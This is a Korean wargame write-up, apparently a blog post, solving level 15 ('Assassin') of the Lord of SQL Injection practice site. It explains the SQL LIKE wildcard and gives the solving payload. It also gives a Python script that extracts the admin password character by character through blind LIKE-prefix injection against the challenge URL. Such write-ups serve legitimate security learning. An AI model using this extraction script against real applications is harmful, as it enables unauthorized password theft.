[Level 15. Assassin] Sol → ?pw=902%
like는 특정 문자열이 들어간 행을 찾을 때 사용된다. 예를 들어, 우편번호를 정확히 모르더라도, 6이 들어간 것을 안다면 '6%'으로 표현하여 찾을 수 있다.
물론 6이 뒤에 들어갔다면 %6, 어딘지 모르지만 들어있다면 %6%으로 찾을 수 있다.
이를 이용해서 우선 %를 먼저 넣어보았다.
원래는 %를 넣으면 모든 쿼리가 출력되는데, Hello guest만 출력되는 것을 보니 guest의 아이디가 제일 위에 있어서 guest 하나만 가져오는 것 같다.
%a% %b% %c%와 %0% %1% %2% 등 알파벳을 몇 개 넣어보았는데, 특정 단어에서 계속 guest만 떴다.
guest의 pw에는 들어있지 않지만 admin의 pw에는 들어있는 문자를 찾기 위해 자동화 코드로 모든 알파벳을 넣어봤지만 Hello admin이 나오지 않았다.
그래서 든 생각이, guest의 pw로 사용된 문자가 admin의 pw 문자를 포함하고 있다면, 예를 들어 quest의 비밀번호가 abc인데 admin을 ab로 설정해놓으면 아무리 % 사이에 알파벳을 넣어도 우선순위 상 guest만 뜨게 된다. 그래서 guest의 비밀번호를 하나씩 찾다 보면 admin의 비밀번호를 찾을 수 있다고 생각했다.
알파벳의 앞쪽에 %를 넣으면 인코딩 값으로 오해하기도 하고, 비밀번호의 첫 글자부터 찾기 위해 {값}%로 guest의 비밀번호를 찾아주었다. %를 넣으면 무조건 Hello guest가 뜨므로, chr(38)부터 자동화 코드를 돌렸다.
import requests
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookie = {'PHPSESSID': 'Cookie'}
def find_pw():
password = ""
flag = 0
while True:
for value in range(38, 127):
param = {"pw": "{}{}%".format(password, chr(value))}
print(param)
req = requests.get(url, params = param, cookies = cookie)
if "Hello guest" in req.text:
password += chr(value)
break
elif "Hello admin" in req.text:
password += chr(value)
print("비밀번호: ", password)
flag = 1
break
if flag:
break
find_pw()
비밀번호 GET!
추가로, 자동화 코드를 더 돌려서 admin의 비밀번호를 완전히 알아냈는데,
guest에도 모두 포함되는 단어라 한 글자씩 찾을 때 guest만 뜬 것이 맞았다.
'WarGames > SQL Injection' 카테고리의 다른 글
Lord of SQL Injection : Zombie_assassin[17] (0) | 2021.12.16 |
---|---|
Lord of SQL Injection : Succubus[16] (0) | 2021.12.14 |
Lord of SQL Injection : Giant[14] (0) | 2021.12.08 |
Lord of SQL Injection : Bugbear[13] (0) | 2021.12.05 |
Lord of SQL Injection : Darknight[12] (0) | 2021.12.04 |
댓글